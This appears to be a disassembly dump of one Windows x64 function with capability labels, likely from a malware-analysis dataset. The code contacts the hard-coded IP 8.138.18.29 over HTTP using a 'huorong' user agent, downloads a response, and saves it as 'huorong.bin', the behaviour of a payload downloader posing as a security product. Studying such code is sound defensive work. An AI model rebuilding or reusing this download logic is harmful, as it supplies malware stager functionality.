Function at 0x140002120
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x40
xor r15d, r15d
lea r8, str.8.138.18.29
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r15d
mov edi, r15d
mov esi, r15d
mov dword [rsp + 0x88], r15d
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov rcx, rbx
add rcx, rcx
call fcn.1400081d8
lea r8, str.8.138.18.29
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov rbp, rax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea r8, str.1829
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov rcx, rbx
add rcx, rcx
call fcn.1400081d8
lea r8, str.1829
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov r14, rax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, str.huorong
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r13, rax
test rax, rax
jne 0x140002206
xor ecx, ecx
call fcn.14000970c
int3
mov r8d, 0x50
xor r9d, r9d
mov rdx, rbp
mov rcx, rax
mov qword [rsp + 0x90], r12
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r12, rax
test rax, rax
jne 0x140002233
xor ecx, ecx
call fcn.14000970c
int3
mov dword [rsp + 0x30], r15d
lea rdx, [0x14002b588]
xor r9d, r9d
mov r8, r14
mov rcx, rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbx, rax
test rax, rax
jne 0x140002268
xor ecx, ecx
call fcn.14000970c
int3
mov qword [rsp + 0x30], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x140002294
xor ecx, ecx
call fcn.14000970c
int3
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140002314
lea rdx, [rsp + 0x80]
mov rcx, rbx
mov dword [rsp + 0x80], r15d
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x14000230e
mov eax, dword [rsp + 0x80]
test eax, eax
je 0x14000230e
lea edx, [rax + rsi + 1]
mov rcx, rdi
call fcn.1400090a0
mov rdi, rax
test rax, rax
je 0x14000230e
mov r8d, dword [rsp + 0x80]
mov edx, esi
lea r9, [rsp + 0x88]
add rdx, rax
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x14000230e
mov eax, dword [rsp + 0x88]
add esi, eax
test eax, eax
jne 0x1400022a3
mov eax, esi
mov byte [rax + rdi], r15b
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbp
call fcn.140007f34
mov rcx, r14
call fcn.140007f34
lea rdx, [0x14002b590]
lea rcx, str.huorong.bin
call fcn.140008c7c
mov rcx, rdi
mov rbp, rax
test rax, rax
jne 0x140002381
call fcn.140007f34
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
jmp 0x14000239c
mov r8d, esi
mov r9, rax
mov edx, 1
call fcn.140009010
mov rcx, rbp
call fcn.1400092d4
mov rax, rdi
mov r12, qword [rsp + 0x90]
add rsp, 0x40
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbp
pop rbx
ret